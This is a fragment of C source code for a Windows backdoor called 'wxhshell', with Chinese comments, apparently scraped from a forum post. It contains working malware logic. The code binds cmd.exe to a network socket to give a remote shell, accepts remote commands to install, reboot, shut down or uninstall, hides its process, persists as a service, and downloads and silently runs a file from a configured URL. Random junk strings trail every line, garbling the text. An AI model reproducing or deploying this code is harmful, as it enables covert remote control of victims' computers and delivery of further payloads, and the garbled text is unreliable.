  } F{jxs/~  
  else { O(I^:_eH  
H/{@eaV  
    switch(cmd[0]) { T!,5dt8L  
  r{.pXf  
  // 帮助 FQ4R>@@5  
  case '?': { ~+1mH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _{`Z?lt  
    break; "BT M,CB  
  } _h<rVcl!wX  
  // 安装 eOb--@~8  
  case 'i': { Q`*U U82!  
    if(Install()) ^>an4UJ t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R*pPUw\yn  
    else SY5}Bu#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); </;e$fh`  
    break; nnn\  
    } xy:Mb =r  
  // 卸载 :!s7B|_U  
  case 'r': { {xg=Ym)  
    if(Uninstall()) /%;J1 {O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /lR*ab  
    else L91vp'+2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5 <k)tF%  
    break; ifS#9N|8  
    } q>(?Z#sB  
  // 显示 wxhshell 所在路径 Z&>Cdgt*  
  case 'p': { *0" ojfVn  
    char svExeFile[MAX_PATH]; |aenQA#  
    strcpy(svExeFile,"\n\r"); <eEIR  
      strcat(svExeFile,ExeFile); jywS<9c@  
        send(wsh,svExeFile,strlen(svExeFile),0); _LZ(HTX~  
    break; 0&)6mO  
    } /TsXm-g#  
  // 重启 2'=)ese  
  case 'b': { ,EHLW4v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [5' HlHK  
    if(Boot(REBOOT)) Ud+,/pE>FA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7yu-xnt3s  
    else { &-FG}|*4M  
    closesocket(wsh); A-1K TD  
    ExitThread(0); 5ph CEKt;  
    } jY\z+lW6A  
    break; W*s=No3C  
    } 517"x@6Q  
  // 关机 > }f!. i  
  case 'd': { oUsfO-dET^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <gi~:%T  
    if(Boot(SHUTDOWN)) cvy 5|;-u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !X: TieyVu  
    else { Lk]|;F-2i  
    closesocket(wsh); kwaZn~  
    ExitThread(0); h1 (i/{}:  
    } 3mofp`e  
    break; |WS@q'  
    } >n/0od9  
  // 获取shell XM5)|D  
  case 's': { @su<_m6'  
    CmdShell(wsh); 7L/LlO/  
    closesocket(wsh); HaL'/V~  
    ExitThread(0); e;~(7/1  
    break; ,7cw%mQA  
  } msCz\8Xd  
  // 退出 g&$5!ifgi  
  case 'x': { du }HTrsC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %pWJ2J@  
    CloseIt(wsh); ,F->*=  
    break; ea @ H  
    } cXt&k  
  // 离开 -*[)CR-{  
  case 'q': { m4W (h6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zqU$V~5;rG  
    closesocket(wsh); R`$jF\"`r  
    WSACleanup(); B>'J5bZsw  
    exit(1); < ~CY?  
    break; &FRf-6/  
        } D1deh=  
  } %.Btf3y~  
  } a}` M[%d7  
dk1q9Tx  
  // 提示信息 @G#`uoD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :T PG~`k(  
} E)Qg^DHP/  
  } =; n>#<  
H/[(T%]o  
  return; :#sBNy  
} i)cG  
X`v6gv5qj  
// shell模块句柄 S9[Up}`  
int CmdShell(SOCKET sock) GM;uwL#  
{ uCW}q.@4  
STARTUPINFO si; S]T71W<i  
ZeroMemory(&si,sizeof(si)); aB G*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^cW{%R>XY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u-n$%yDS  
PROCESS_INFORMATION ProcessInfo; v{lDEF@2^N  
char cmdline[]="cmd"; nf _(_O=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s#0m  
  return 0; |C+ 5  
} PMQ31f/zf  
u0+<[Ia'q  
// 自身启动模式 OB(~zUe.R  
int StartFromService(void) hI<$lEB  
{ hZe9Y?)  
typedef struct o'P[uB/  
{ JZyEyN  
  DWORD ExitStatus; 86&r;c:  
  DWORD PebBaseAddress; |SJ%Myy  
  DWORD AffinityMask; tUfze9m  
  DWORD BasePriority; -Vg0J6x  
  ULONG UniqueProcessId; L<<v   
  ULONG InheritedFromUniqueProcessId; {;UBW7{  
}   PROCESS_BASIC_INFORMATION; ? zic1i  
c3Ig4n0Y>  
PROCNTQSIP NtQueryInformationProcess; 5= MM^$QG  
%s%e5hU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ).C>>1ZC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zr\G=0`  
kA4kQ}q  
  HANDLE             hProcess; \w{fq+G  
  PROCESS_BASIC_INFORMATION pbi; = 6w(9O  
Q},uM_" +  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CBx5:}t  
  if(NULL == hInst ) return 0; ? v@q&  
`jFvG\aC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f%d =X>_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o648 xUP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <J1$s_^`  
U &W}c^#  
  if (!NtQueryInformationProcess) return 0; BA0.B0+"  
xF9PjnWF=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oU~e|  
  if(!hProcess) return 0; x(88Y7o.t  
obIYC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h|=&a0  
h<2O+"^  
  CloseHandle(hProcess); .mS'c#~5Y  
Ed~2Qr\65  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X=OJgyO/  
if(hProcess==NULL) return 0; ?r6uEZ  
%8GY`T:^  
HMODULE hMod; G@n%P~  
char procName[255]; al\ R(\p|  
unsigned long cbNeeded; F{aM6I  
4mzWNr>fb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'xp&)g L  
76*5/J-  
  CloseHandle(hProcess); ;yH1vX  
U~8 oE_+  
if(strstr(procName,"services")) return 1; // 以服务启动 wKAc ;!  
Y|iALrx  
  return 0; // 注册表启动 I806I@ix  
} (yel  
GzUgzj|BN~  
// 主模块 ~FV Z0%+,  
int StartWxhshell(LPSTR lpCmdLine) zZ=.riK  
{ ='cr@[~i  
  SOCKET wsl; =r:-CRq(  
BOOL val=TRUE; v2Bks 2  
  int port=0; :bgi*pR{  
  struct sockaddr_in door; 93d ht  
GZ]; U] _  
  if(wscfg.ws_autoins) Install(); [Hww3+~+  
$fY4amX6Z  
port=atoi(lpCmdLine); xCV3HnZ  
HJ*W3Mg  
if(port<=0) port=wscfg.ws_port; F+S;u=CKx  
NY ZPh%x  
  WSADATA data; ?8X+)nU@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ui46 p  
|vnfY; ;z1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P$\vD^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T%xB|^lf  
  door.sin_family = AF_INET; h2Z Gh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +S:(cz80V  
  door.sin_port = htons(port); dOe|uQXyD  
!58-3F%P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 65Ysg}x  
closesocket(wsl); % ;2x.  
return 1; !_cT_ WHty  
} D;|4ZjM-  
-C5Qh&~W  
  if(listen(wsl,2) == INVALID_SOCKET) { UGPD5wX?  
closesocket(wsl); 52>?l C  
return 1; n}yqpW!%n  
} lYeot8  
  Wxhshell(wsl); =1%3". "n@  
  WSACleanup(); "@E1^  
r$6z{Na\[  
return 0; +MeEy{;  
5sx-u!7  
} t.>vLzrU  
Ne.W-,X^cL  
// 以NT服务方式启动 #T n~hnW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c% 0h!zF  
{ .)B_~tct  
DWORD   status = 0; WFg'G>*  
  DWORD   specificError = 0xfffffff; Hi9;i/  
j+J)S1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O.1Z3~r-N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X1i6CEa<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6A/Nlk.  
  serviceStatus.dwWin32ExitCode     = 0; ^gh/$my;  
  serviceStatus.dwServiceSpecificExitCode = 0; wI}5[m  
  serviceStatus.dwCheckPoint       = 0; 5 8p_b  
  serviceStatus.dwWaitHint       = 0; c:51In|~{C  
M&y!w   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (ZjIwA9>  
  if (hServiceStatusHandle==0) return; =6q?XOM  
^,b*.6t  
status = GetLastError(); PT|^RF%fT  
  if (status!=NO_ERROR) /%rbXrR4w  
{ \y: 0+s/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5}~*,_J2Z  
    serviceStatus.dwCheckPoint       = 0; ||}|=Sz  
    serviceStatus.dwWaitHint       = 0; 7|T5N[3?l,  
    serviceStatus.dwWin32ExitCode     = status; 7J,W#Ql)5  
    serviceStatus.dwServiceSpecificExitCode = specificError; M,t8<y4 W/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f3V&i)w(  
    return; av gGz8  
  } 6k42>e*p  
l`gRw4 /$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yiu)0\ o  
  serviceStatus.dwCheckPoint       = 0; Fx0K.Q2Y0  
  serviceStatus.dwWaitHint       = 0; &EmxSYL>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W]_+3qvZ  
} JQsS=m7Et  
FD#?pVyPn^  
// 处理NT服务事件,比如:启动、停止 :I F&W=?9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c"H4/,F  
{ 5 & -fX:/  
switch(fdwControl) _"a(vfl#  
{ @p|[7'  
case SERVICE_CONTROL_STOP: {.H}+@0  
  serviceStatus.dwWin32ExitCode = 0; 68Wm=j.m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {;Mcor3  
  serviceStatus.dwCheckPoint   = 0; !;'U5[}8  
  serviceStatus.dwWaitHint     = 0; qp  
  { 27t:-O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >efYpd#^  
  } z mrk`o~  
  return; X  LA  
case SERVICE_CONTROL_PAUSE: e@Z(z^V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a%;$l_wVT:  
  break; OjE wJ$$  
case SERVICE_CONTROL_CONTINUE: <R*.T)Z1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \ zhT1#O  
  break; vay_QxB5  
case SERVICE_CONTROL_INTERROGATE: /r[0Dw  
  break; He)v:AH  
}; M`Y~IG}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1U@qR U  
} ZaH<\`=%  
hP`3Ao  
// 标准应用程序主函数 !(uyqplTk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -7'>Rw  
{ %Ni)^   
d@7 ]=P:  
// 获取操作系统版本 #kA/,qyM  
OsIsNt=GetOsVer(); Xy_+L_h^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wcsUb 9(  
N=zrY`Vd  
  // 从命令行安装 8!b#ez   
  if(strpbrk(lpCmdLine,"iI")) Install(); mAk)9`f/  
5z5#_*)O  
  // 下载执行文件 Rzj5B\+Rk(  
if(wscfg.ws_downexe) { IObGmc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q;)[~p  
  WinExec(wscfg.ws_filenam,SW_HIDE); T.`EDluG  
} XlV#)JX  
w/~,mzM"  
if(!OsIsNt) { -PB m@}*  
// 如果时win9x,隐藏进程并且设置为注册表启动 \gDf&I  
HideProc(); O<Ht-TN&  
StartWxhshell(lpCmdLine); 9y>dDNM\<  
} $*H_0wQc  
else CS:j->  
  if(StartFromService()) 1bYc^(z0  
  // 以服务方式启动 U;`N:~|p#  
  StartServiceCtrlDispatcher(DispatchTable); {tOu+zy  
else )ra_`Qdcf  
  // 普通方式启动 Nm\0>}  
  StartWxhshell(lpCmdLine); GXYmJ4wR  
pTprU)sa7  
return 0; Ha[Bf*  
}
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只看该作者 1 发表于: 2006-10-10
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